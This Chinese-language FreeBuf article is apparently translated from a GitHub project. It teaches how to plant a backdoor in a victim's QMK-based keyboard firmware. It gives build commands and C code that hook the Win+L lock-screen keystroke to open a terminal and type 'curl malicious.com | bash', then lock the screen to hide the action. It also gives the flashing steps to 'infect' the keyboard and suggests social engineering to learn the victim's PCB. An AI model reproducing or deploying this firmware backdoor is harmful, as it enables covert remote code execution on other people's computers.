freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

QMKhuehuebr:QMK键盘固件后门
FreeBuf_25425 2018-12-31 15:00:58 602343
所属地 浙江省

这个文章将教你如何使用qmk固件在键盘上创建一个“后门”。

什么是QMK?

它是一个开源键盘固件,可以阅读文档获取更多信息。

这个“后门”如何操作?

后门挂钩使用qmk组合功能,比如屏幕锁定的一组击键,因此当用户锁定计算机时,它将击键注入目标计算机。

获得Shell

Keyboard Recon

最重要的一步就是识别受害者键盘使用的PCB。我们可以通过以下几种方式完成:1.社会工程学2.打开keyboard case3.成为键盘大佬

获取QMK固件项目

git clone https://github.com/qmk/qmk_firmware.git
cd qmk_firmware
util/(linux|macos)_install.sh

启用和配置组合功能

假设现在您已获取受害者的键盘PCB,转到qmk_firmware/keyboards/<PCB_MODEL>/然后在rules.mk文件的最后一行添加COMBO_ENABLE = yes,然后还要修改文件config.h下面几行:

#define COMBO_COUNT 1
#define COMBO_TERM 300

COMBO_COUNT变量是您将配置的挂钩的数量,COMBO_TERM是固件检测键组合的毫秒时间。

创建HOOK

然后将默认密钥映射复制并新建一个名为keylogger的密钥映射

cd qmk_firmware/keyboards/<PCB_MODEL>/keymaps
mkdir keylogger
cp -R default/* keylogger
cd keylogger/

编辑keymap.c文件并在#include "action_layer.h"行后插入恶意代码,您需要做的第一件事是使用您的钩子名称创建一个枚举函数:

enum combo_events {
  LOCK_SCREEN
}

然后你需要设置你想挂钩的组合键,在这个例子中让我们挂钩WIN + L锁定屏幕:const  uint16_t PROGMEM lock_screen_combo [] = {KC_LGUI,KC_L,COMBO_END};如果您想挂钩其他键,只需查看qmk文档页面,您可以在其中找到包含所有密钥代码的列表。

采取行动

现在编码的最后一部分是在固件检测到HOOK时添加动作,为了做到这一点,让我们继续编辑keymap.c并声明负责检测和注入的函数:

void process_combo_event(uint8_t combo_index, bool pressed) {
  switch(combo_index) {
    case LOCK_SCREEN_X:
      if (pressed) {
        // SEND THE COMBINATION KEYS TO OPEN TERMINAL WIN+ENTER
        register_code(KC_LGUI);
        register_code(KC_ENTER);
        // RELEASE THE KEYS TO OPEN THE TERMINAL
        unregister_code(KC_ENTER);
        unregister_code(KC_LGUI);
        //WAIT 500 MILLISECONDS FOR THE TERMINAL OPEN
        _delay_ms(500);
        //SEND COMMAND USING THE MACRO SEND_STRING WHICH SENDS KEYCODE BY KEYCODE WITHOUT DELAY
        SEND_STRING("curl malicious.com \\| bash ; exit" SS_TAP(X_ENTER));
        //SEND THE ORIGINAL KEYCODES RESPONSIBLE TO LOCK THE COMPUTER
        register_code(KC_LGUI);
        register_code(KC_L);
        // RELEASE THE KEYS RESPONSIBLE TO LOCK THE COMPUTER
        unregister_code(KC_L);
        unregister_code(KC_LGUI);
      }
  }
break;
}

编译代码

返回qmk项目根目录并运行:make <KEYBOARD_PCB>:keylogger如果没有错误,你做的一切都正确,并准备好继续前进。

引导模式

要将键盘置于引导模式,请按照QMK指令操作

编写恶意固件

只需运行命令:sudo make <KEYBOARD_PCB>:keylogger:dfu现在,经过所有这些步骤,您已成功感染了受害者的键盘。了解有关QMK的更多信息

Poc

PoC使用xd60 PCB视频地址

参考来源github,由周大涛编译,转载请注明来自FreeBuf.COM

# 后门 # QMKhuehuebr
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_25425 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_25425 LV.7
这家伙太懒了,还未填写个人描述!
  • 95 文章数
  • 81 关注者
红队技巧:SQL Server Extended Stored Procedures命令执行
2021-10-02
实战中常见的十种cookie漏洞
2021-03-03
红队技巧 | SharpSphere dump LSASS内存
2021-02-26
文章目录